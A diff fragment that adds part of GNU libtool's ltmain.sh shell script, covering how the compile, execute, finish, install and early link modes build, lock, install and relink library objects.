+	build_old_libs=no
+	continue
+	;;
+
+      -static)
+	build_libtool_libs=no
+	build_old_libs=yes
+	continue
+	;;
+
+      -prefer-pic)
+	pic_mode=yes
+	continue
+	;;
+
+      -prefer-non-pic)
+	pic_mode=no
+	continue
+	;;
+      esac
+    done
+
+    func_quote_for_eval "$libobj"
+    test "X$libobj" != "X$func_quote_for_eval_result" \
+      && $ECHO "X$libobj" | $GREP '[]~#^*{};<>?"'"'"' 	&()|`$[]' \
+      && func_warning "libobj name \`$libobj' may not contain shell special characters."
+    func_basename "$obj"
+    objname="$func_basename_result"
+    func_dirname "$obj" "/" ""
+    xdir="$func_dirname_result"
+    lobj=${xdir}$objdir/$objname
+
+    test -z "$base_compile" && \
+      func_fatal_help "you must specify a compilation command"
+
+    # Delete any leftover library objects.
+    if test "$build_old_libs" = yes; then
+      removelist="$obj $lobj $libobj ${libobj}T"
+    else
+      removelist="$lobj $libobj ${libobj}T"
+    fi
+
+    $opt_dry_run || $RM $removelist
+    trap "$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE" 1 2 15
+
+    # On Cygwin there's no "real" PIC flag so we must build both object types
+    case $host_os in
+    cygwin* | mingw* | pw32* | os2*)
+      pic_mode=default
+      ;;
+    esac
+    if test "$pic_mode" = no && test "$deplibs_check_method" != pass_all; then
+      # non-PIC code in shared libraries is not supported
+      pic_mode=default
+    fi
+
+    # Calculate the filename of the output object if compiler does
+    # not support -o with -c
+    if test "$compiler_c_o" = no; then
+      output_obj=`$ECHO "X$srcfile" | $Xsed -e 's%^.*/%%' -e 's%\.[^.]*$%%'`.${objext}
+      lockfile="$output_obj.lock"
+      removelist="$removelist $output_obj $lockfile"
+      trap "$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE" 1 2 15
+    else
+      output_obj=
+      need_locks=no
+      lockfile=
+    fi
+
+    # Lock this critical section if it is needed
+    # We use this script file to make the link, it avoids creating a new file
+    if test "$need_locks" = yes; then
+      until $opt_dry_run || ln "$progpath" "$lockfile" 2>/dev/null; do
+	func_echo "Waiting for $lockfile to be removed"
+	sleep 2
+      done
+    elif test "$need_locks" = warn; then
+      if test -f "$lockfile"; then
+	$ECHO "\
+*** ERROR, $lockfile exists and contains:
+`cat $lockfile 2>/dev/null`
+
+This indicates that another process is trying to use the same
+temporary object file, and libtool could not work around it because
+your compiler does not support \`-c' and \`-o' together.  If you
+repeat this compilation, it may succeed, by chance, but you had better
+avoid parallel builds (make -j) in this platform, or get a better
+compiler."
+
+	$opt_dry_run || $RM $removelist
+	exit $EXIT_FAILURE
+      fi
+      $ECHO "$srcfile" > "$lockfile"
+    fi
+
+    if test -n "$fix_srcfile_path"; then
+      eval srcfile=\"$fix_srcfile_path\"
+    fi
+    func_quote_for_eval "$srcfile"
+    qsrcfile=$func_quote_for_eval_result
+
+    $opt_dry_run || $RM "$libobj" "${libobj}T"
+
+    # Create a libtool object file (analogous to a ".la" file),
+    # but don't create it if we're doing a dry run.
+    $opt_dry_run || cat > ${libobj}T <<EOF
+# $libobj - a libtool object file
+# Generated by $PROGRAM (GNU $PACKAGE$TIMESTAMP) $VERSION
+#
+# Please DO NOT delete this file!
+# It is necessary for linking the library.
+
+# Name of the PIC object.
+EOF
+
+    # Only build a PIC object if we are building libtool libraries.
+    if test "$build_libtool_libs" = yes; then
+      # Without this assignment, base_compile gets emptied.
+      fbsd_hideous_sh_bug=$base_compile
+
+      if test "$pic_mode" != no; then
+	command="$base_compile $qsrcfile $pic_flag"
+      else
+	# Don't build PIC code
+	command="$base_compile $qsrcfile"
+      fi
+
+      func_mkdir_p "$xdir$objdir"
+
+      if test -z "$output_obj"; then
+	# Place PIC objects in $objdir
+	command="$command -o $lobj"
+      fi
+
+      $opt_dry_run || $RM "$lobj" "$output_obj"
+
+      func_show_eval "$command"	\
+          'test -n "$output_obj" && $RM $removelist; exit $EXIT_FAILURE'
+
+      if test "$need_locks" = warn &&
+	 test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then
+	$ECHO "\
+*** ERROR, $lockfile contains:
+`cat $lockfile 2>/dev/null`
+
+but it should contain:
+$srcfile
+
+This indicates that another process is trying to use the same
+temporary object file, and libtool could not work around it because
+your compiler does not support \`-c' and \`-o' together.  If you
+repeat this compilation, it may succeed, by chance, but you had better
+avoid parallel builds (make -j) in this platform, or get a better
+compiler."
+
+	$opt_dry_run || $RM $removelist
+	exit $EXIT_FAILURE
+      fi
+
+      # Just move the object if needed, then go on to compile the next one
+      if test -n "$output_obj" && test "X$output_obj" != "X$lobj"; then
+	func_show_eval '$MV "$output_obj" "$lobj"' \
+	  'error=$?; $opt_dry_run || $RM $removelist; exit $error'
+      fi
+
+      # Append the name of the PIC object to the libtool object file.
+      $opt_dry_run || cat >> ${libobj}T <<EOF
+pic_object='$objdir/$objname'
+
+EOF
+
+      # Allow error messages only from the first compilation.
+      if test "$suppress_opt" = yes; then
+	suppress_output=' >/dev/null 2>&1'
+      fi
+    else
+      # No PIC object so indicate it doesn't exist in the libtool
+      # object file.
+      $opt_dry_run || cat >> ${libobj}T <<EOF
+pic_object=none
+
+EOF
+    fi
+
+    # Only build a position-dependent object if we build old libraries.
+    if test "$build_old_libs" = yes; then
+      if test "$pic_mode" != yes; then
+	# Don't build PIC code
+	command="$base_compile $qsrcfile$pie_flag"
+      else
+	command="$base_compile $qsrcfile $pic_flag"
+      fi
+      if test "$compiler_c_o" = yes; then
+	command="$command -o $obj"
+      fi
+
+      # Suppress compiler output if we already did a PIC compilation.
+      command="$command$suppress_output"
+      $opt_dry_run || $RM "$obj" "$output_obj"
+      func_show_eval "$command" \
+        '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE'
+
+      if test "$need_locks" = warn &&
+	 test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then
+	$ECHO "\
+*** ERROR, $lockfile contains:
+`cat $lockfile 2>/dev/null`
+
+but it should contain:
+$srcfile
+
+This indicates that another process is trying to use the same
+temporary object file, and libtool could not work around it because
+your compiler does not support \`-c' and \`-o' together.  If you
+repeat this compilation, it may succeed, by chance, but you had better
+avoid parallel builds (make -j) in this platform, or get a better
+compiler."
+
+	$opt_dry_run || $RM $removelist
+	exit $EXIT_FAILURE
+      fi
+
+      # Just move the object if needed
+      if test -n "$output_obj" && test "X$output_obj" != "X$obj"; then
+	func_show_eval '$MV "$output_obj" "$obj"' \
+	  'error=$?; $opt_dry_run || $RM $removelist; exit $error'
+      fi
+
+      # Append the name of the non-PIC object the libtool object file.
+      # Only append if the libtool object file exists.
+      $opt_dry_run || cat >> ${libobj}T <<EOF
+# Name of the non-PIC object.
+non_pic_object='$objname'
+
+EOF
+    else
+      # Append the name of the non-PIC object the libtool object file.
+      # Only append if the libtool object file exists.
+      $opt_dry_run || cat >> ${libobj}T <<EOF
+# Name of the non-PIC object.
+non_pic_object=none
+
+EOF
+    fi
+
+    $opt_dry_run || {
+      $MV "${libobj}T" "${libobj}"
+
+      # Unlock the critical section if it was locked
+      if test "$need_locks" != no; then
+        $RM "$lockfile"
+      fi
+    }
+
+    exit $EXIT_SUCCESS
+}
+
+
+# func_mode_execute arg...
+func_mode_execute ()
+{
+    $opt_debug
+    # The first argument is the command name.
+    cmd="$nonopt"
+    test -z "$cmd" && \
+      func_fatal_help "you must specify a COMMAND"
+
+    # Handle -dlopen flags immediately.
+    for file in $execute_dlfiles; do
+      test -f "$file" \
+	|| func_fatal_help "\`$file' is not a file"
+
+      dir=
+      case $file in
+      *.la)
+	# Check to see that this really is a libtool archive.
+	func_lalib_unsafe_p "$file" \
+	  || func_fatal_help "\`$lib' is not a valid libtool archive"
+
+	# Read the libtool library.
+	dlname=
+	library_names=
+	func_source "$file"
+
+	# Skip this library if it cannot be dlopened.
+	if test -z "$dlname"; then
+	  # Warn if it was a shared library.
+	  test -n "$library_names" && \
+	    func_warning "\`$file' was not linked with \`-export-dynamic'"
+	  continue
+	fi
+
+	func_dirname "$file" "" "."
+	dir="$func_dirname_result"
+
+	if test -f "$dir/$objdir/$dlname"; then
+	  dir="$dir/$objdir"
+	else
+	  func_fatal_error "cannot find \`$dlname' in \`$dir' or \`$dir/$objdir'"
+	fi
+	;;
+
+      *.lo)
+	# Just add the directory containing the .lo file.
+	func_dirname "$file" "" "."
+	dir="$func_dirname_result"
+	;;
+
+      *)
+	func_warning "\`-dlopen' is ignored for non-libtool libraries and objects"
+	continue
+	;;
+      esac
+
+      # Get the absolute pathname.
+      absdir=`cd "$dir" && pwd`
+      test -n "$absdir" && dir="$absdir"
+
+      # Now add the directory to shlibpath_var.
+      if eval "test -z \"\$$shlibpath_var\""; then
+	eval "$shlibpath_var=\"\$dir\""
+      else
+	eval "$shlibpath_var=\"\$dir:\$$shlibpath_var\""
+      fi
+    done
+
+    # This variable tells wrapper scripts just to set shlibpath_var
+    # rather than running their programs.
+    libtool_execute_magic="$magic"
+
+    # Check if any of the arguments is a wrapper script.
+    args=
+    for file
+    do
+      case $file in
+      -*) ;;
+      *)
+	# Do a test to see if this is really a libtool program.
+	if func_ltwrapper_p "$file"; then
+	  func_source "$file"
+
+	  # Transform arg to wrapped name.
+	  file="$progdir/$program"
+	fi
+	;;
+      esac
+      # Quote arguments (to preserve shell metacharacters).
+      func_quote_for_eval "$file"
+      args="$args $func_quote_for_eval_result"
+    done
+
+    if test "X$opt_dry_run" = Xfalse; then
+      if test -n "$shlibpath_var"; then
+	# Export the shlibpath_var.
+	eval "export $shlibpath_var"
+      fi
+
+      # Restore saved environment variables
+      if test "${save_LC_ALL+set}" = set; then
+	LC_ALL="$save_LC_ALL"; export LC_ALL
+      fi
+      if test "${save_LANG+set}" = set; then
+	LANG="$save_LANG"; export LANG
+      fi
+
+      # Now prepare to actually exec the command.
+      exec_cmd="\$cmd$args"
+    else
+      # Display what would be done.
+      if test -n "$shlibpath_var"; then
+	eval "\$ECHO \"\$shlibpath_var=\$$shlibpath_var\""
+	$ECHO "export $shlibpath_var"
+      fi
+      $ECHO "$cmd$args"
+      exit $EXIT_SUCCESS
+    fi
+}
+
+
+# func_mode_finish arg...
+func_mode_finish ()
+{
+    $opt_debug
+    libdirs="$nonopt"
+    admincmds=
+
+    if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
+      for dir
+      do
+	libdirs="$libdirs $dir"
+      done
+
+      for libdir in $libdirs; do
+	if test -n "$finish_cmds"; then
+	  # Do each command in the finish commands.
+	  func_execute_cmds "$finish_cmds" 'admincmds="$admincmds
+'"$cmd"'"'
+	fi
+	if test -n "$finish_eval"; then
+	  # Do the single finish_eval.
+	  eval cmds=\"$finish_eval\"
+	  $opt_dry_run || eval "$cmds" || admincmds="$admincmds
+       $cmds"
+	fi
+      done
+    fi
+
+    # Exit here if they wanted silent mode.
+    $opt_silent && exit $EXIT_SUCCESS
+
+    $ECHO "X----------------------------------------------------------------------" | $Xsed
+    $ECHO "Libraries have been installed in:"
+    for libdir in $libdirs; do
+      $ECHO "   $libdir"
+    done
+    $ECHO
+    $ECHO "If you ever happen to want to link against installed libraries"
+    $ECHO "in a given directory, LIBDIR, you must either use libtool, and"
+    $ECHO "specify the full pathname of the library, or use the \`-LLIBDIR'"
+    $ECHO "flag during linking and do at least one of the following:"
+    if test -n "$shlibpath_var"; then
+      $ECHO "   - add LIBDIR to the \`$shlibpath_var' environment variable"
+      $ECHO "     during execution"
+    fi
+    if test -n "$runpath_var"; then
+      $ECHO "   - add LIBDIR to the \`$runpath_var' environment variable"
+      $ECHO "     during linking"
+    fi
+    if test -n "$hardcode_libdir_flag_spec"; then
+      libdir=LIBDIR
+      eval flag=\"$hardcode_libdir_flag_spec\"
+
+      $ECHO "   - use the \`$flag' linker flag"
+    fi
+    if test -n "$admincmds"; then
+      $ECHO "   - have your system administrator run these commands:$admincmds"
+    fi
+    if test -f /etc/ld.so.conf; then
+      $ECHO "   - have your system administrator add LIBDIR to \`/etc/ld.so.conf'"
+    fi
+    $ECHO
+
+    $ECHO "See any operating system documentation about shared libraries for"
+    case $host in
+      solaris2.[6789]|solaris2.1[0-9])
+        $ECHO "more information, such as the ld(1), crle(1) and ld.so(8) manual"
+	$ECHO "pages."
+	;;
+      *)
+        $ECHO "more information, such as the ld(1) and ld.so(8) manual pages."
+        ;;
+    esac
+    $ECHO "X----------------------------------------------------------------------" | $Xsed
+    exit $EXIT_SUCCESS
+}
+
+
+# func_mode_install arg...
+func_mode_install ()
+{
+    $opt_debug
+    # There may be an optional sh(1) argument at the beginning of
+    # install_prog (especially on Windows NT).
+    if test "$nonopt" = "$SHELL" || test "$nonopt" = /bin/sh ||
+       # Allow the use of GNU shtool's install command.
+       $ECHO "X$nonopt" | $GREP shtool >/dev/null; then
+      # Aesthetically quote it.
+      func_quote_for_eval "$nonopt"
+      install_prog="$func_quote_for_eval_result "
+      arg=$1
+      shift
+    else
+      install_prog=
+      arg=$nonopt
+    fi
+
+    # The real first argument should be the name of the installation program.
+    # Aesthetically quote it.
+    func_quote_for_eval "$arg"
+    install_prog="$install_prog$func_quote_for_eval_result"
+
+    # We need to accept at least all the BSD install flags.
+    dest=
+    files=
+    opts=
+    prev=
+    install_type=
+    isdir=no
+    stripme=
+    for arg
+    do
+      if test -n "$dest"; then
+	files="$files $dest"
+	dest=$arg
+	continue
+      fi
+
+      case $arg in
+      -d) isdir=yes ;;
+      -f)
+      	case " $install_prog " in
+	*[\\\ /]cp\ *) ;;
+	*) prev=$arg ;;
+	esac
+	;;
+      -g | -m | -o)
+	prev=$arg
+	;;
+      -s)
+	stripme=" -s"
+	continue
+	;;
+      -*)
+	;;
+      *)
+	# If the previous option needed an argument, then skip it.
+	if test -n "$prev"; then
+	  prev=
+	else
+	  dest=$arg
+	  continue
+	fi
+	;;
+      esac
+
+      # Aesthetically quote the argument.
+      func_quote_for_eval "$arg"
+      install_prog="$install_prog $func_quote_for_eval_result"
+    done
+
+    test -z "$install_prog" && \
+      func_fatal_help "you must specify an install program"
+
+    test -n "$prev" && \
+      func_fatal_help "the \`$prev' option requires an argument"
+
+    if test -z "$files"; then
+      if test -z "$dest"; then
+	func_fatal_help "no file or destination specified"
+      else
+	func_fatal_help "you must specify a destination"
+      fi
+    fi
+
+    # Strip any trailing slash from the destination.
+    func_stripname '' '/' "$dest"
+    dest=$func_stripname_result
+
+    # Check to see that the destination is a directory.
+    test -d "$dest" && isdir=yes
+    if test "$isdir" = yes; then
+      destdir="$dest"
+      destname=
+    else
+      func_dirname "$dest" "" "."
+      destdir="$func_dirname_result"
+      func_basename "$dest"
+      destname="$func_basename_result"
+
+      # Not a directory, so check to see that there is only one file specified.
+      set dummy $files; shift
+      test "$#" -gt 1 && \
+	func_fatal_help "\`$dest' is not a directory"
+    fi
+    case $destdir in
+    [\\/]* | [A-Za-z]:[\\/]*) ;;
+    *)
+      for file in $files; do
+	case $file in
+	*.lo) ;;
+	*)
+	  func_fatal_help "\`$destdir' must be an absolute directory name"
+	  ;;
+	esac
+      done
+      ;;
+    esac
+
+    # This variable tells wrapper scripts just to set variables rather
+    # than running their programs.
+    libtool_install_magic="$magic"
+
+    staticlibs=
+    future_libdirs=
+    current_libdirs=
+    for file in $files; do
+
+      # Do each installation.
+      case $file in
+      *.$libext)
+	# Do the static libraries later.
+	staticlibs="$staticlibs $file"
+	;;
+
+      *.la)
+	# Check to see that this really is a libtool archive.
+	func_lalib_unsafe_p "$file" \
+	  || func_fatal_help "\`$file' is not a valid libtool archive"
+
+	library_names=
+	old_library=
+	relink_command=
+	func_source "$file"
+
+	# Add the libdir to current_libdirs if it is the destination.
+	if test "X$destdir" = "X$libdir"; then
+	  case "$current_libdirs " in
+	  *" $libdir "*) ;;
+	  *) current_libdirs="$current_libdirs $libdir" ;;
+	  esac
+	else
+	  # Note the libdir as a future libdir.
+	  case "$future_libdirs " in
+	  *" $libdir "*) ;;
+	  *) future_libdirs="$future_libdirs $libdir" ;;
+	  esac
+	fi
+
+	func_dirname "$file" "/" ""
+	dir="$func_dirname_result"
+	dir="$dir$objdir"
+
+	if test -n "$relink_command"; then
+	  # Determine the prefix the user has applied to our future dir.
+	  inst_prefix_dir=`$ECHO "X$destdir" | $Xsed -e "s%$libdir\$%%"`
+
+	  # Don't allow the user to place us outside of our expected
+	  # location b/c this prevents finding dependent libraries that
+	  # are installed to the same prefix.
+	  # At present, this check doesn't affect windows .dll's that
+	  # are installed into $libdir/../bin (currently, that works fine)
+	  # but it's something to keep an eye on.
+	  test "$inst_prefix_dir" = "$destdir" && \
+	    func_fatal_error "error: cannot install \`$file' to a directory not ending in $libdir"
+
+	  if test -n "$inst_prefix_dir"; then
+	    # Stick the inst_prefix_dir data into the link command.
+	    relink_command=`$ECHO "X$relink_command" | $Xsed -e "s%@inst_prefix_dir@%-inst-prefix-dir $inst_prefix_dir%"`
+	  else
+	    relink_command=`$ECHO "X$relink_command" | $Xsed -e "s%@inst_prefix_dir@%%"`
+	  fi
+
+	  func_warning "relinking \`$file'"
+	  func_show_eval "$relink_command" \
+	    'func_fatal_error "error: relink \`$file'\'' with the above command before installing it"'
+	fi
+
+	# See the names of the shared library.
+	set dummy $library_names; shift
+	if test -n "$1"; then
+	  realname="$1"
+	  shift
+
+	  srcname="$realname"
+	  test -n "$relink_command" && srcname="$realname"T
+
+	  # Install the shared library and build the symlinks.
+	  func_show_eval "$install_prog $dir/$srcname $destdir/$realname" \
+	      'exit $?'
+	  tstripme="$stripme"
+	  case $host_os in
+	  cygwin* | mingw* | pw32*)
+	    case $realname in
+	    *.dll.a)
+	      tstripme=""
+	      ;;
+	    esac
+	    ;;
+	  esac
+	  if test -n "$tstripme" && test -n "$striplib"; then
+	    func_show_eval "$striplib $destdir/$realname" 'exit $?'
+	  fi
+
+	  if test "$#" -gt 0; then
+	    # Delete the old symlinks, and create new ones.
+	    # Try `ln -sf' first, because the `ln' binary might depend on
+	    # the symlink we replace!  Solaris /bin/ln does not understand -f,
+	    # so we also need to try rm && ln -s.
+	    for linkname
+	    do
+	      test "$linkname" != "$realname" \
+		&& func_show_eval "(cd $destdir && { $LN_S -f $realname $linkname || { $RM $linkname && $LN_S $realname $linkname; }; })"
+	    done
+	  fi
+
+	  # Do each command in the postinstall commands.
+	  lib="$destdir/$realname"
+	  func_execute_cmds "$postinstall_cmds" 'exit $?'
+	fi
+
+	# Install the pseudo-library for information purposes.
+	func_basename "$file"
+	name="$func_basename_result"
+	instname="$dir/$name"i
+	func_show_eval "$install_prog $instname $destdir/$name" 'exit $?'
+
+	# Maybe install the static library, too.
+	test -n "$old_library" && staticlibs="$staticlibs $dir/$old_library"
+	;;
+
+      *.lo)
+	# Install (i.e. copy) a libtool object.
+
+	# Figure out destination file name, if it wasn't already specified.
+	if test -n "$destname"; then
+	  destfile="$destdir/$destname"
+	else
+	  func_basename "$file"
+	  destfile="$func_basename_result"
+	  destfile="$destdir/$destfile"
+	fi
+
+	# Deduce the name of the destination old-style object file.
+	case $destfile in
+	*.lo)
+	  staticdest=`$ECHO "X$destfile" | $Xsed -e "$lo2o"`
+	  ;;
+	*.$objext)
+	  staticdest="$destfile"
+	  destfile=
+	  ;;
+	*)
+	  func_fatal_help "cannot copy a libtool object to \`$destfile'"
+	  ;;
+	esac
+
+	# Install the libtool object if requested.
+	test -n "$destfile" && \
+	  func_show_eval "$install_prog $file $destfile" 'exit $?'
+
+	# Install the old object if enabled.
+	if test "$build_old_libs" = yes; then
+	  # Deduce the name of the old-style object file.
+	  staticobj=`$ECHO "X$file" | $Xsed -e "$lo2o"`
+	  func_show_eval "$install_prog \$staticobj \$staticdest" 'exit $?'
+	fi
+	exit $EXIT_SUCCESS
+	;;
+
+      *)
+	# Figure out destination file name, if it wasn't already specified.
+	if test -n "$destname"; then
+	  destfile="$destdir/$destname"
+	else
+	  func_basename "$file"
+	  destfile="$func_basename_result"
+	  destfile="$destdir/$destfile"
+	fi
+
+	# If the file is missing, and there is a .exe on the end, strip it
+	# because it is most likely a libtool script we actually want to
+	# install
+	stripped_ext=""
+	case $file in
+	  *.exe)
+	    if test ! -f "$file"; then
+	      func_stripname '' '.exe' "$file"
+	      file=$func_stripname_result
+	      stripped_ext=".exe"
+	    fi
+	    ;;
+	esac
+
+	# Do a test to see if this is really a libtool program.
+	case $host in
+	*cygwin*|*mingw*)
+	    func_stripname '' '.exe' "$file"
+	    wrapper=$func_stripname_result
+	    ;;
+	*)
+	    wrapper=$file
+	    ;;
+	esac
+	if func_ltwrapper_p "$wrapper"; then
+	  notinst_deplibs=
+	  relink_command=
+
+	  func_source "$wrapper"
+
+	  # Check the variables that should have been set.
+	  test -z "$generated_by_libtool_version" && \
+	    func_fatal_error "invalid libtool wrapper script \`$wrapper'"
+
+	  finalize=yes
+	  for lib in $notinst_deplibs; do
+	    # Check to see that each library is installed.
+	    libdir=
+	    if test -f "$lib"; then
+	      func_source "$lib"
+	    fi
+	    libfile="$libdir/"`$ECHO "X$lib" | $Xsed -e 's%^.*/%%g'` ### testsuite: skip nested quoting test
+	    if test -n "$libdir" && test ! -f "$libfile"; then
+	      func_warning "\`$lib' has not been installed in \`$libdir'"
+	      finalize=no
+	    fi
+	  done
+
+	  relink_command=
+	  func_source "$wrapper"
+
+	  outputname=
+	  if test "$fast_install" = no && test -n "$relink_command"; then
+	    $opt_dry_run || {
+	      if test "$finalize" = yes; then
+	        tmpdir=`func_mktempdir`
+		func_basename "$file$stripped_ext"
+		file="$func_basename_result"
+	        outputname="$tmpdir/$file"
+	        # Replace the output file specification.
+	        relink_command=`$ECHO "X$relink_command" | $Xsed -e 's%@OUTPUT@%'"$outputname"'%g'`
+
+	        $opt_silent || {
+	          func_quote_for_expand "$relink_command"
+		  eval "func_echo $func_quote_for_expand_result"
+	        }
+	        if eval "$relink_command"; then :
+	          else
+		  func_error "error: relink \`$file' with the above command before installing it"
+		  $opt_dry_run || ${RM}r "$tmpdir"
+		  continue
+	        fi
+	        file="$outputname"
+	      else
+	        func_warning "cannot relink \`$file'"
+	      fi
+	    }
+	  else
+	    # Install the binary that we compiled earlier.
+	    file=`$ECHO "X$file$stripped_ext" | $Xsed -e "s%\([^/]*\)$%$objdir/\1%"`
+	  fi
+	fi
+
+	# remove .exe since cygwin /usr/bin/install will append another
+	# one anyway
+	case $install_prog,$host in
+	*/usr/bin/install*,*cygwin*)
+	  case $file:$destfile in
+	  *.exe:*.exe)
+	    # this is ok
+	    ;;
+	  *.exe:*)
+	    destfile=$destfile.exe
+	    ;;
+	  *:*.exe)
+	    func_stripname '' '.exe' "$destfile"
+	    destfile=$func_stripname_result
+	    ;;
+	  esac
+	  ;;
+	esac
+	func_show_eval "$install_prog\$stripme \$file \$destfile" 'exit $?'
+	$opt_dry_run || if test -n "$outputname"; then
+	  ${RM}r "$tmpdir"
+	fi
+	;;
+      esac
+    done
+
+    for file in $staticlibs; do
+      func_basename "$file"
+      name="$func_basename_result"
+
+      # Set up the ranlib parameters.
+      oldlib="$destdir/$name"
+
+      func_show_eval "$install_prog \$file \$oldlib" 'exit $?'
+
+      if test -n "$stripme" && test -n "$old_striplib"; then
+	func_show_eval "$old_striplib $oldlib" 'exit $?'
+      fi
+
+      # Do each command in the postinstall commands.
+      func_execute_cmds "$old_postinstall_cmds" 'exit $?'
+    done
+
+    test -n "$future_libdirs" && \
+      func_warning "remember to run \`$progname --finish$future_libdirs'"
+
+    if test -n "$current_libdirs"; then
+      # Maybe just do a dry run.
+      $opt_dry_run && current_libdirs=" -n$current_libdirs"
+      exec_cmd='$SHELL $progpath $preserve_args --finish$current_libdirs'
+    else
+      exit $EXIT_SUCCESS
+    fi
+}
+
+
+# func_mode_link arg...
+func_mode_link ()
+{
+    $opt_debug
+    case $host in
+    *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*)
+      # It is impossible to link a dll without this setting, and
+      # we shouldn't force the makefile maintainer to figure out
+      # which system we are compiling for in order to pass an extra
+      # flag for every libtool invocation.
+      # allow_undefined=no
+
+      # FIXME: Unfortunately, there are problems with the above when trying
+      # to make a dll which has undefined symbols, in which case not
+      # even a static library is built.  For now, we need to specify
+      # -no-undefined on the libtool link line when we can be certain
+      # that all symbols are satisfied, otherwise we get a static library.
+      allow_undefined=yes
+      ;;
+    *)
+      allow_undefined=yes
+      ;;
+    esac
+    libtool_args="$nonopt"
+    base_compile="$nonopt $@"
+    compile_command="$nonopt"
+    finalize_command="$nonopt"
+
+    compile_rpath=
+    finalize_rpath=
+    compile_shlibpath=
+    finalize_shlibpath=
+    convenience=
+    old_convenience=
+    deplibs=
+    old_deplibs=
+    compiler_flags=
+    linker_flags=
+    dllsearchpath=
+    lib_search_path=`pwd`
+    inst_prefix_dir=
+    new_inherited_linker_flags=
+
+    avoid_version=no
+    dlfiles=
+    dlprefiles=
+    dlself=no
+    export_dynamic=no
+    export_symbols=
+    export_symbols_regex=
+    generated=
+    libobjs=
+    ltlibs=
+    module=no
+    no_install=no
+    objs=
+    non_pic_objects=
+    precious_files_regex=
+    prefer_static_libs=no
+    preload=no
+    prev=
+    prevarg=
+    release=
+    rpath=
+    xrpath=
+    perm_rpath=
+    temp_rpath=
+    thread_safe=no
+    vinfo=
+    vinfo_number=no
+    weak_libs=
+    single_module="${wl}-single_module"
+    func_infer_tag $base_compile
+
+    # We need to know -static, to get the right output filenames.
+    for arg
+    do
+      case $arg in
+      -shared)
+	test "$build_libtool_libs" != yes && \
+	  func_fatal_configuration "can not build a shared library"
+	build_old_libs=no
+	break
+	;;
+      -all-static | -static)
+	if test "X$arg" = "X-all-static"; then
+	  if test "$build_libtool_libs" = yes && test -z "$link_static_flag"; then
+	    func_warning "complete static linking is impossible in this configuration"
+	  fi
+	  if test -n "$link_static_flag"; then
+	    dlopen_self=$dlopen_self_static
+	    # See comment for -static flag below, for more details.
+	    compile_command="$compile_command $link_static_flag"
+	    finalize_command="$finalize_command $link_static_flag"
+	  fi
+	  prefer_static_libs=yes
+	else
+	  if test -z "$pic_flag" && test -n "$link_static_flag"; then
+	    dlopen_self=$dlopen_self_static
+	  fi
+	  prefer_static_libs=built
+	fi
+	build_libtool_libs=no
+	build_old_libs=yes
+	break
+	;;
+      esac
+    done
+
+    # See if our shared archives depend on static archives.
+    test -n "$old_archive_from_new_cmds" && build_old_libs=yes
+
+    # Go through the arguments, transforming them on the way.
+    while test "$#" -gt 0; do
+      arg="$1"
+      shift
+      func_quote_for_eval "$arg"
+      qarg="$func_quote_for_eval_unquoted_result"
+      libtool_args="$libtool_args $func_quote_for_eval_result"
+
+      # If the previous option needs an argument, assign it.
+      if test -n "$prev"; then
+	case $prev in
+	output)
+	  compile_command="$compile_command @OUTPUT@"
+	  finalize_command="$finalize_command @OUTPUT@"
+	  ;;
+	esac
+
+	case $prev in
+	dlfiles|dlprefiles)
+	  if test "$preload" = no; then
+	    # Add the symbol object into the linking commands.
+	    compile_command="$compile_command @SYMFILE@"
+	    finalize_command="$finalize_command @SYMFILE@"
+	    preload=yes
+	  fi
+	  case $arg in
+	  *.la | *.lo) ;;  # We handle these cases below.
+	  force)
+	    if test "$dlself" = no; then
+	      dlself=needless
+	      export_dynamic=yes
+	    fi
+	    prev=
+	    continue
+	    ;;
+	  self)
+	    if test "$prev" = dlprefiles; then
+	      dlself=yes
+	    elif test "$prev" = dlfiles && test "$dlopen_self" != yes; then
+	      dlself=yes
+	    else
+	      dlself=needless
+	      export_dynamic=yes
+	    fi
+	    prev=
+	    continue
+	    ;;
+	  *)
+	    if test "$prev" = dlfiles; then
+	      dlfiles="$dlfiles $arg"
+	    else
+	      dlprefiles="$dlprefiles $arg"
+	    fi
+	    prev=
+	    continue
+	    ;;
+	  esac
+	  ;;
+	expsyms)
+	  export_symbols="$arg"
+	  test -f "$arg" \
+	    || func_fatal_error "symbol file \`$arg' does not exist"
+	  prev=
+	  continue
+	  ;;
+	expsyms_regex)
+	  export_symbols_regex="$arg"
+	  prev=
+	  continue
+	  ;;
+	framework)
+	  case $host in
+	    *-*-darwin*)
+	      case "$deplibs " in
+		*" $qarg.ltframework "*) ;;
+		*) deplibs="$deplibs $qarg.ltframework" # this is fixed later
+		   ;;
+	      esac
+	      ;;
+   	  esac
+	  prev=
+	  continue
+	  ;;
+	inst_prefix)
+	  inst_prefix_dir="$arg"
+	  prev=
+	  continue
+	  ;;
+	objectlist)
+	  if test -f "$arg"; then
+	    save_arg=$arg
+	    moreargs=
+	    for fil in `cat "$save_arg"`
+	    do
+#	      moreargs="$moreargs $fil"
+	      arg=$fil
+	      # A libtool-controlled object.
+
+	      # Check to see that this really is a libtool object.
+	      if func_lalib_unsafe_p "$arg"; then
+		pic_object=
+		non_pic_object=
+
+		# Read the .lo file
+		func_source "$arg"
+
+		if test -z "$pic_object" ||
+		   test -z "$non_pic_object" ||
+		   test "$pic_object" = none &&
+		   test "$non_pic_object" = none; then
+		  func_fatal_error "cannot find name of object for \`$arg'"
+		fi
+
+		# Extract subdirectory from the argument.
+		func_dirname "$arg" "/" ""
+		xdir="$func_dirname_result"
+
+		if test "$pic_object" != none; then
+		  # Prepend the subdirectory the object is found in.
+		  pic_object="$xdir$pic_object"
+
+		  if test "$prev" = dlfiles; then
+		    if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
+		      dlfiles="$dlfiles $pic_object"
+		      prev=
+		      continue
+		    else
+		      # If libtool objects are unsupported, then we need to preload.
+		      prev=dlprefiles
+		    fi
+		  fi
+
+		  # CHECK ME:  I think I busted this.  -Ossama
+		  if test "$prev" = dlprefiles; then
+		    # Preload the old-style object.
+		    dlprefiles="$dlprefiles $pic_object"
+		    prev=
+		  fi
+
+		  # A PIC object.
+		  libobjs="$libobjs $pic_object"
+		  arg="$pic_object"
+		fi
+
+		# Non-PIC object.
+		if test "$non_pic_object" != none; then
+		  # Prepend the subdirectory the object is found in.
